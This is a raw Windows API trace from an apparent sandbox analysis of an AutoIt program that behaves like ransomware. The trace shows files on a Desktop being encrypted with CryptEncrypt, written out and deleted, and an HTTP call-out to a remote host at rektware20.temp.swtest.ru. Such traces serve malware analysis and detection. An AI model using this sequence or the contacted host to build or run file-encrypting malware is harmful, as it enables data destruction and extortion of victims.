lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0078.754] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0078.754] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x1629460, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629460*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0078.754] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.754] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0078.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.754] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.754] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.754] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0078.755] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.755] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.755] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.755] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.755] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x20ff, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x2100) returned 1 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.755] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] CharLowerBuffW (in: lpsz="byte[8449]", cchLength=0xa | out: lpsz="byte[8449]") returned 0xa [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.756] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0078.756] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0078.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621990, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0078.756] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0078.756] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17c50f8*, pdwDataLen=0x130e618*=0x20ff, dwBufLen=0x2100 | out: pbData=0x17c50f8*, pdwDataLen=0x130e618*=0x2100) returned 1 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.756] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.757] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.757] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.757] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.757] WriteFile (in: hFile=0x3c8, lpBuffer=0x17bede0*, nNumberOfBytesToWrite=0x2100, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17bede0*, lpNumberOfBytesWritten=0x130f01c*=0x2100, lpOverlapped=0x0) returned 1 [0078.758] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.758] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.758] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0078.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.758] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.758] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0078.758] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0078.758] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621258, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0078.758] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0078.758] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0078.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.758] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.758] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.758] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.759] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.759] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.759] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0078.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0078.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.759] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0078.759] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0078.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.759] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.759] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.759] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0078.759] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.759] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0078.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0078.760] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0078.760] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0078.760] CryptReleaseContext (hProv=0x1632078, dwFlags=0x0) returned 1 [0078.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.760] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0078.760] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0078.760] FreeLibrary (hLibModule=0x74c60000) returned 1 [0078.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.760] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0078.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.760] CloseHandle (hObject=0x3d8) returned 1 [0078.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.760] CloseHandle (hObject=0x3c8) returned 1 [0078.762] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0078.763] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.763] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", lpFilePart=0x0) returned 0x30 [0078.773] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_oqprsbys0yjuh.bmp")) returned 0x20 [0078.773] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164ca30 [0078.773] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_OqpRSByS0yjuh.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\_oqprsbys0yjuh.bmp")) returned 1 [0078.790] FindNextFileW (in: hFindFile=0x164ca30, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0078.791] FindClose (in: hFindFile=0x164ca30 | out: hFindFile=0x164ca30) returned 1 [0078.791] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0078.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.791] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0078.791] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0078.791] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0078.791] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0078.791] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0078.791] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0078.791] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0078.791] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1621000, lpdwBufferLength=0x130ef8c) returned 1 [0078.791] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0078.791] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0078.792] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0078.792] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0078.792] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0078.792] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0078.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0078.792] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0078.792] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0078.793] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0078.793] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0078.793] CloseHandle (hObject=0x0) returned 0 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0078.793] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\_PTR1-1QI.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 